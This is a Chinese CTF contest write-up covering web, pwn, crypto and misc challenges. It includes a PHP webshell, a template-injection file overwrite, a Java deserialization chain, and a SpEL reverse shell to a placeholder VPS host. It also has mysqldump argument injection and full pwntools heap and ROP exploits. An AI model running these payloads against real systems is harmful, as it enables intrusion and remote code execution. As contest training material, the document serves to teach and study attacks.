第十六届全国大学生信息安全竞赛 初赛 Writeup

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

[TOC]

Web

unzip

<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

unzip 命令没有 zip slip 的问题

但因为是压缩包, 所以可以传软连接 (参考 2022 MTCTF OnlineUnzip)

注意到执行 unzip 的时候有个 -o 参数, 即默认允许覆盖文件

所以考虑先创建一个指向 /var 目录的软连接 test, 本地压缩好后放到网站上解压

然后上传同名的 upload.php 解压到 /tmp/test/www/html/, 覆盖原来的 upload.php 为 webshell

upload.php

<?php eval($_REQUEST[1]);phpinfo();?>

test.zip

ln -s /var test
zip -y test.zip test

a.zip

import zipfile

zf = zipfile.ZipFile('a.zip', 'w')
zf.write('upload.php', 'test/www/html/upload.php')
zf.close()

依次上传 test.zip a.zip

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

go_session

session 由 gorilla/sessions 实现, 并且 session key 从环境变量中获得

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

/admin 路由需要 session name 为 admin 才能访问, 里面调用了 pongo2 来实现模版解析

/flask 路由可以访问到本机 5000 端口的 flask, 但是根据报错信息泄露的源码来看只有一个没有用的路由, 不过开启了 debug 模式

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

试了一会发现 os.Getenv 如果获取不存在的环境变量就会返回空值

所以瞎猜一波题目服务器上并没有设置 SESSION_KEY

本地随便改一下源码, 把 cookie 复制下来扔到服务器上

var store = sessions.NewCookieStore([]byte(""))

func Index(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
        http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
        return
    }
    if session.Values["name"] == nil {
        session.Values["name"] = "admin"
        err = session.Save(c.Request, c.Writer)
        if err != nil {
            http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
            return
        }
    }

    c.String(200, "Hello, admin")
}
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

之后是 pongo2 ssti

参考文档:

https://github.com/flosch/pongo2

https://pkg.go.dev/github.com/gin-gonic/gin

注意到源码在编译模版的时候到 context 只传了 gin.Context, 所以猜测肯定是要从这方面入手

经过一段时间的测试和搜索找到这篇文章

https://www.imwxz.com/posts/2b599b70.html#template%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7

一个任意文件写, 又想到上面的 flask 开了 debug 模式, 而在 debug 模式下 flask 会动态更新源码的内容

所以思路是通过 FormFile 和 SaveUploadedFile 上传文件覆盖掉之前的 flask 源码, 然后访问 /flask 路由 rce

源码路径可以在报错信息中找到

http://123.56.244.196:17997/flask?name=
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

最后因为模版编译前会通过 html 编码把单双号转义, 所以需要换个方式传入字符串

发现 gin.Context 里面包装了 Request 和 ResponseWriter, 这里随便找了个 Request.UserAgent()

// UserAgent returns the client's User-Agent, if sent in the request.
func (r *Request) UserAgent() string {
    return r.Header.Get("User-Agent")
}

最终 payload

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1
Host: 123.56.244.196:17997
Content-Length: 613
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
User-Agent: /app/server.py
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: session-name=MTY4NTE1ODc3OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzlZGsWROWLHoCNn0Pbu3SkgRLWCZRrj8UIHVYgHU7GPw==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="/app/server.py"; filename="server.py"
Content-Type: text/plain

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/shell')
def shell():
    cmd = request.args.get('cmd')
    if cmd:
        return os.popen(cmd).read()
    else:
        return 'shell'

if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryrxtSm5i2S6anueQi--
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
http://123.56.244.196:17997/flask?name=/shell?cmd=cat%2520/00cab53f1ece95d90020_flag
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

DeserBug

题目给了 commons-collections 和 hutool 依赖, 由于前者是 3.2.2 版本的所以诸如 InvokeTransformer 之类的就不能用了

hutool 里面有 JSONArray 和 JSONObject 类, 看名字感觉很像 fastjson 的类, 但实际上经过测试它们只会在 add / put 的时候触发任意 getter / setter, 调用 toString 时并不会触发

然后题目给了一个 Myexpect 类, 它的 getAnyexcept 可以调用任意类的 public 构造方法

结合之前 cc 链的经验很容易想到 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 这个类

TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TemplatesEvilClass.class.getName());

Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});

之后需要找到从 readObject / toString 到 put / add 的链子, 根据题目给的 cc 依赖容易想到 TiedMapEntry 和 LazyMap

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

最终 payload

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.net.URLEncoder;
import java.util.*;

public class Demo {
    public static void main(String[] args) throws Exception {

        String result;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(TemplatesEvilClass.class.getName());

        Reflection.setFieldValue(templatesImpl, "_name", "Hello");
        Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
        Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Myexpect expect = new Myexpect();
        expect.setTargetclass(TrAXFilter.class);
        expect.setTypeparam(new Class[]{Templates.class});
        expect.setTypearg(new Object[]{templatesImpl});

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("aa", "bb");

        Transformer transformer = new ConstantTransformer(1);

        Map innerMap = jsonObject;
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "k");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        innerMap.clear();

        Reflection.setFieldValue(transformer, "iConstant", expect);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream output = new ObjectOutputStream(baos);
        output.writeObject(expMap);
        output.flush();
        baos.flush();

        byte[] data = baos.toByteArray();

        String bugstr = URLEncoder.encode(Base64.getEncoder().encodeToString(data));
        System.out.println(bugstr);
//        try {
//            byte[] decode = Base64.getDecoder().decode(bugstr);
//            ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
//            Object object = inputStream.readObject();
//            result = object.toString();
//        } catch (Exception e) {
//            System.out.println(e.getClass());
//            com.app.Myexpect myexpect = new com.app.Myexpect();
//            myexpect.setTypeparam(new Class[]{String.class});
//            myexpect.setTypearg(new String[]{e.toString()});
//            myexpect.setTargetclass(e.getClass());
//            try {
//                result = myexpect.getAnyexcept().toString();
//            } catch (Exception ex) {
//                result = ex.toString();
//            }
//        }
    }
}
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

BackendService

参考文章

https://www.cnblogs.com/backlion/p/17246695.html

https://xz.aliyun.com/t/11493

结合之前爆出来的 nacos jwt 默认密钥导致的未授权漏洞

SecretKey012345678901234567890123456789012345678901234567890123456789
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

然后直接去 nacos 后台发布配置, 注意 Data ID 为 backcfg 并且内容为 json 格式 (参考源码中的 bootstrap.yml)

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "http://example.com/",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/vps-ip/65444 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

dumpit

参考文章: https://mariadb.com/kb/en/mariadb-dump/

猜测 ?db=&table_2_dump= 调用的是 mysqldump 之类的命令, 存在命令注入, 但是过滤了常规的一些字符

测试发现 mysqldump 会将 database 的名称输出 (即使不存在), 翻阅文档得知可以通过 --result-file 参数指定生成的文件名

payload

http://eci-2zej20xezk9iber18vi8.cloudeci1.ichunqiu.com:8888/?db=%22%3C?=phpinfo()?%3E%22%20--result-file%20shell.php&table_2_dump=flag1

flag 在环境变量里面

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

Pwn

shaokao

改名函数有个明显的栈溢出。但你得先把烧烤摊承包了。

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

随便看看就能看到有个可以白吃白喝让老板倒找钱给你的洞。这里对价格的处理用的是int,如果输入负数就可以既满足if又能让money增加。

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

钱够了,承包之,就可以改名了。进而栈溢出。

然后发现程序里有mprotect,考虑改rwx。

直接改name那个0x1000会炸不知道为什么,后来改到bss高地址可以。

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#s=process("./shaokao")
s=remote("123.56.251.120",21758)
elf=ELF("./shaokao")
rdi=0x40264f
rsi=0x40a67e
rax_rdx_rbx=0x4a404a
binsh=0x4E60F0
mprotect=elf.sym.mprotect
def menu(ch):
    s.sendlineafter(b"> ",str(ch).encode())

if __name__=="__main__":
    menu(1)
    s.sendline(b"1")
    sleep(0.5)
    s.sendline(b"-10000")
    menu(4)
    menu(5)
    p=flat([
        b"/bin/sh\x00\x0f\x05".ljust(0x28,b"\x90"),
        rdi,0x4ea000,
        rsi,0x1000,
        rax_rdx_rbx,0x0,0x7,0x0,
        mprotect,
        rdi,0,
        rsi,0x4ea000,
        rax_rdx_rbx,0,0x1000,0,
        elf.sym.read,
        0x4ea000,
    ])
    """"""
    s.sendlineafter("请赐名:",p)
    sleep(0.5)
    s.send(asm(shellcraft.sh()))
    s.interactive()

Strange Talk Bot

先不看最开始对输入处理的那个函数,先看后面的。

稍微逆一逆:

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

2.31的UAF,限制很宽松,最多0x20个堆块,堆块大小和输入长度最大0xf0,删除处有UAF,堆列表不可覆盖(即如果此位置申请过堆块不能再在这个位置申请)。

后面这部分就是随便玩了,构造大堆块,伪造指针,free后show之,libc和heap的base就都有了。剩下就是2.31堆上的、配合rdi->rdx->setcontext这类的常规orw。

至于前面,那4byte丢到google看一下能搜到protobuf相关内容,小猜一手前面套了一层protobuf。

然后随便看看strings,找到这里:

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

几个字段也就有了,再在周围找找id和数据类型。

对几个字符串解引用:

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

可以看到几个字符串解引用后基本都是这个结构,第一个是tag,第二个是数据类型,详情可见官方文档,第三个似乎是某种偏移,本次利用中没有用到,没有深入研究。

然后就可以开始着手写proto了。格式参见此处

关于下面的required和optional:

本来函数是不需要msgsize和msgcontent的,但是调试的时候发现会炸所以全改成required了。

syntax = "proto2";

package test;

message Msg {
    required int64 actionid = 1;
    required int64 msgidx = 2;
    required int64 msgsize = 3;
    required bytes msgcontent = 4;
}

然后用protoc编译之,安装及命令行从略。

生成的py代码跟文档中不太一样,这里参照这份WP中的内容略作添加。

# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: test.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()

DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\ntest.proto\x12\x04test\"L\n\x03Msg\x12\x10\n\x08\x61\x63tionid\x18\x01 \x02(\x03\x12\x0e\n\x06msgidx\x18\x02 \x02(\x03\x12\x0f\n\x07msgsize\x18\x03 \x02(\x03\x12\x12\n\nmsgcontent\x18\x04 \x02(\x0c')

_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'test_pb2', _globals)
if _descriptor._USE_C_DESCRIPTORS == False:

  DESCRIPTOR._options = None
  _globals['_MSG']._serialized_start=20
  _globals['_MSG']._serialized_end=96
# @@protoc_insertion_point(module_scope)
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
Msg=_reflection.GeneratedProtocolMessageType("Msg",(_message.Message,), dict(
  DESCRIPTOR = _globals["_MSG"],
  __module__ = "test_pb2"
))
_sym_db.RegisterMessage(Msg)

然后就可以开调了。

埋在参数处理中的坑:actionidmsgidxmsgsize都需要在原大小基础上*2

from pwn import *
import test_pb2
context(arch="amd64",log_level="debug")
s=process('./pwn')
s=remote("39.105.26.155",14934)
libc=ELF("./libc-2.31 (2).so")
time_val=0.01

def add(idx,sz,content=b"/flag\x00\x00\x00"):
    s.recvuntil(b"now: \n")
    dat=test_pb2.Msg()
    dat.actionid=1*2
    dat.msgidx=idx*2
    dat.msgsize=sz*2
    dat.msgcontent=content
    s.send(dat.SerializeToString())
    sleep(time_val)

def edit(idx,sz,content=b"/flag\x00\x00\x00"):
    s.recvuntil(b"now: \n")
    dat=test_pb2.Msg()
    dat.actionid=2*2
    dat.msgidx=idx*2
    dat.msgsize=sz*2
    dat.msgcontent=content
    s.send(dat.SerializeToString())
    sleep(time_val)

def show(idx):
    s.recvuntil(b"now: \n")
    dat=test_pb2.Msg()
    dat.actionid=3*2
    dat.msgidx=idx*2
    dat.msgsize=0x40
    dat.msgcontent=b"/flag\x00\x00\x00"
    s.send(dat.SerializeToString())
    sleep(time_val)

def delete(idx):
    s.recvuntil(b"now: \n")
    dat=test_pb2.Msg()
    dat.actionid=4*2
    dat.msgidx=idx*2
    dat.msgsize=0x40
    dat.msgcontent=b"/flag\x00\x00\x00"
    s.send(dat.SerializeToString())
    sleep(time_val)

if __name__=="__main__":
    sleep(3)
    for i in range(3):
        add(i,0xf0,b"/flag\x00\x00\x00"+p64(0)*4+p64(0x431))
    for i in range(2):
        delete(i)
    show(1)
    heap_base=u64(s.recv(6).ljust(8,b"\x00"))&0xfffffffffffff000
    success("heap base: "+hex(heap_base))

    edit(1,8,p64(heap_base+0x320))
    add(4,0xf0)
    add(5,0xf0)
    delete(5)
    show(5)
    s.recv(0x70)
    libc_base=u64(s.recv(6).ljust(8,b"\x00"))-(0x7f5b95523be0-0x7f5b95337000)
    success("libc base: "+hex(libc_base))

    flag=heap_base+0x2f0
    magic=libc_base+0x151990
    rdi=libc_base+0x0000000000023b6a
    rsi=libc_base+0x000000000002601f
    rdx=libc_base+0x0000000000142c92
    ret=libc_base+0x55042
    setcontext=libc_base+libc.sym.setcontext+61
    copen=libc_base+libc.sym.open
    cread=libc_base+libc.sym.read
    cwrite=libc_base+libc.sym.write

    payload=flat([
        rdi,flag,
        rsi,0,rdx,0,
        copen,
        rdi,3,rsi,heap_base+0x500,rdx,0x100,
        cread,
        rdi,1,
        cwrite
    ])
    _rdx_=heap_base+0xa60
    orw=heap_base+0xd20
    pivot=flat({
        8:_rdx_,
        0x20:setcontext,
        0xa8:ret,
        0xa0:orw,
    })
    add(12,0xe0)
    add(13,0xe0)
    add(6,0xe0)
    add(7,0xe0)
    add(8,0xe0,payload)
    delete(12)
    delete(13)
    delete(7)
    delete(6)
    edit(7,8,p64(libc_base+libc.sym.__free_hook))
    add(9,0xe0,pivot)
    add(10,0xe0)
    add(11,0xe0,p64(magic))
    delete(9)
    s.interactive()

funcanary

基于fork的程序canary都一样,one-by-one爆破即可。

最后partial-overwrite返回地址到后门。

那个random属于是脑洞了,爆了一上午没爆出来加了个random秒出。

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=remote("123.56.236.235",34266)
#s=process("./funcanary")
elf=ELF("./funcanary")
def ssp():
    p=b"a"*104
    start=len(p)
    stop=len(p)+8
    while len(p)<stop:
        for i in range(256):
            s.recvline()
            s.send(p+int.to_bytes(i,length=1,byteorder='little'))
            res=s.recvline()
            if res==b"have fun\n":
                p+=int.to_bytes(i,length=1,byteorder='little')
                success(hex(i))
                break
    return p
if __name__=="__main__":
    p=ssp()+b"a"*8+b"\x31"
    print(p)
    s.recv()
    while 1:
        s.send(p+int.to_bytes(random.randint(1,15)*16+2,length=1,byteorder="little"))
        res=s.recvline()
        print(res)
        if res!=b"welcome\n":
            success(res)
            pause()
    s.interactive()

Crypto

基于国密SM2算法的密钥密文分发

SM2 密钥在线生成工具 (const.net.cn)生成密钥,发送公钥

allkey接口返回服务器端pubkey明文,privatekey密文以及randomString密文

search接口可以直接拿到randomstring明文也就是C

用C作为密钥用SM4_CBC解密privatekey

quantum拿密文,用上面解出的privatekey解出明文,然后check通过

可信度量

传统艺能非预期:grep -ra “flag{” / 2>/dev/null

Sign_in_passwd

一共两行,第一行base64密文,用第二行URLdecode后作为base64换表,解出flag

BB84

exp:

f = open('info.csv', 'r')
l0 = [int(i) for i in f.readline().split(',')[1:]]
l1 = [int(i) for i in f.readline().split(',')[1:]]
l2 = [int(i) for i in f.readline().split(',')[1:]]
l3 = [int(i) for i in f.readline().split(',')[1:]]
l4 = [int(i) for i in f.readline().split(',')[1:]]
k = ''
for i in range(3000):
    if l1[i] + l2[i] + l3[i] + l4[i] == 1:
        if (l0[i] == 1 or l0[i] == 2) and (l1[i] != 1 and l2[i] != 1):
            continue
        elif (l0[i] == 3 or l0[i] == 4) and (l3[i] != 1 and l4[i] != 1):
            continue
        elif l0[i] == 1 or l0[i] == 3:
            k += '0'
        elif l0[i] == 2 or l0[i] == 4:
            k += '1'
        else:
            exit(0)

print(k)
m = len(k)
print(len(k))
a = 1709
b = 2003
x = 17
k1 = ''
for i in range(336):
    k1 += k[x]
    x = (x*a+b)%m
print(k1)
k1 = int(k1,2)
print(k1)
c = 
m = k1^c
from Crypto.Util.number import *
print(long_to_bytes(m))

badkey1

定位到唯一有可能会出问题的代码:

if Integer(n).gcd(d) != 1:
    raise ValueError("RSA private exponent is not coprime to modulus")
# Modulus must be product of 2 primes

考虑使$d=k_1*p$

$e*d=k_2(p-1)(q-1)+1$

$ek_1p=k_2(p-1)(q-1)+1$

可得$p[(q-1)k_2-k_1e]=(q-1)k_2-1$

对上式模e可得 $(q-1)k_2-1 \equiv p(q-1)*k_2 \pmod{e}$

exp:

e = 65537
while True:
    q = getPrime(512)
    for k2 in range(e):
        x = (q-1)*k2
        x %= e
        if x == 0:
            continue
        if ((q-1)*k2-1) % x == 0:
            p = ((q-1)*k2-1)//x
            if isPrime(p) and p.bit_length()==512:
                print(p,q)
                break

Misc

签到卡

直接输入

print(open('/flag').read())

被加密的生产流量

一眼modbus

tshark直接提取

tshark -r modbus.pcap -T fields -e modbus.word_cnt | sed '/^\s*$/d' > 1.txt

然后写脚本转换

from Crypto.Util.number import *
from base64 import b32decode
f = open('1.txt').read().splitlines()
flag = ''
for i in f:
    flag += long_to_bytes(int(i))
print(b32decode(flag).decode())

#c1f_fi1g_1000

国粹

先把a.png和k.png分开,每个341张图

import cv2

img = cv2.imread('x.png')
for i in range(341):
    imgg = img[0:73, 53*i:53*(i+1)]
    cv2.imwrite('./xxx/'+str(i)+'.png', imgg)

这时候其实很明显每张图大小不一样,所以不用写脚本识别图片了,直接看大小

list = []
for i in range(341):
    img = open('./xxx/' + str(i) + '.png', 'rb').read()
    data = len(img)
    list.append(data)
print(list)
print(len(list))

得到a.png和k.png中的所有图片大小

aaa = [3011, 3011, 3011, 3011, 3355, 3355, 3355, 3355, 3355, 3355, 3355, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3878, 3878, 3878, 3878, 3878, 3878, 5254, 5254, 2841, 2841, 2841, 2841, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 4454, 4454, 4454, 4454, 4454, 4454, 4454, 4454, 4968, 4968, 4968, 4968, 4968, 4968, 4968, 5709, 5709, 5709, 5709, 5709, 5709, 5709, 5709, 6480, 6480, 6480, 6480, 6480, 6480, 6480, 6480, 7072, 7072, 7072, 7072, 7072, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 2059, 2059, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2456, 2456, 2456, 2456, 2456, 2385, 2385, 2385, 2385, 2385, 2385, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2935, 2935, 2935, 2935, 2935, 2935, 2935, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3371, 3371, 3371]

kkk = [3957, 3792, 5254, 2458, 3310, 3957, 3792, 3576, 5254, 2456, 2458, 3310, 3957, 5254, 5709, 6480, 3762, 4717, 5579, 4591, 2456, 2458, 3355, 3310, 3957, 3792, 5254, 4968, 5709, 7072, 2963, 3762, 5579, 4591, 2456, 2458, 3310, 3957, 5254, 4968, 6480, 7072, 4660, 2963, 3762, 4591, 2388, 2456, 3310, 3957, 5254, 4968, 5709, 7072, 4660, 2963, 3762, 4591, 2456, 3310, 3957, 5254, 3776, 2841, 3632, 4968, 7072, 4660, 3762, 4717, 5579, 4591, 2456, 2458, 3310, 3957, 3776, 2841, 4968, 5709, 6480, 7072, 4660, 2059, 4591, 2456, 2458, 2963, 3762, 5579, 4591, 2458, 2385, 4717, 5579, 3762, 4717, 5579, 4591, 3355, 3310, 3957, 3792, 3878, 5254, 3776, 2841, 5709, 6480, 7072, 4660, 5579, 4591, 3355, 3792, 3576, 3878, 2841, 4660, 4717, 5579, 3792, 3878, 2841, 7072, 4660, 3762, 4717, 3957, 3792, 3878, 2841, 6480, 7072, 4717, 5579, 3310, 3957, 3878, 2841, 5709, 6480, 5579, 4591, 3310, 3878, 2841, 5709, 4591, 3310, 3957, 3792, 3576, 3878, 5254, 3776, 2841, 5709, 6480, 7072, 4660, 2963, 3762, 4717, 5579, 4591, 5254, 3776, 3310, 3957, 3792, 3576, 5254, 3776, 2841, 6480, 7072, 4660, 5579, 4591, 3310, 3576, 3506, 3878, 5254, 5709, 6480, 4660, 2059, 3762, 4717, 5579, 4591, 3310, 3576, 3506, 3878, 5254, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 5254, 3776, 2841, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 2841, 3632, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 3878, 2841, 3632, 5709, 4660, 2059, 5579, 4591, 3310, 3957, 3576, 3878, 5254, 3776, 2841, 5709, 6480, 4660, 2059, 5579, 4591, 3957, 3792, 6480, 7072, 4660, 5254, 3776, 2841, 3632, 4591, 2385, 3957, 3792, 3576, 5254, 3776, 2841, 3632, 6480, 7072, 4660, 4717, 5579, 4591, 5309, 1932, 3310, 3957, 3576, 3506, 2841, 5709, 6480, 4717, 5579, 5309, 1932, 3576, 3506, 3776, 5709, 6480, 4717, 5579, 5309, 1932, 3576, 3776, 2841, 6480, 7072, 4660, 4717, 5579, 4591, 5309, 2985, 3792, 2841, 3632, 4660, 2059, 5309, 1932, 3957, 3792, 3632, 5709, 4660, 2059, 4591, 5309, 1932, 3957, 3792, 3576, 3506, 3878, 5254, 3776, 2841, 3632, 5709, 6480, 7072, 4660, 5579, 4591, 2385, 1932, 4717, 5579, 2385]

然后直接拿原图索引,搞到每张牌的位置

aaa = [3011, 3011, 3011, 3011, 3355, 3355, 3355, 3355, 3355, 3355, 3355, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3878, 3878, 3878, 3878, 3878, 3878, 5254, 5254, 2841, 2841, 2841, 2841, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 4454, 4454, 4454, 4454, 4454, 4454, 4454, 4454, 4968, 4968, 4968, 4968, 4968, 4968, 4968, 5709, 5709, 5709, 5709, 5709, 5709, 5709, 5709, 6480, 6480, 6480, 6480, 6480, 6480, 6480, 6480, 7072, 7072, 7072, 7072, 7072, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 2059, 2059, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5678, 5678, 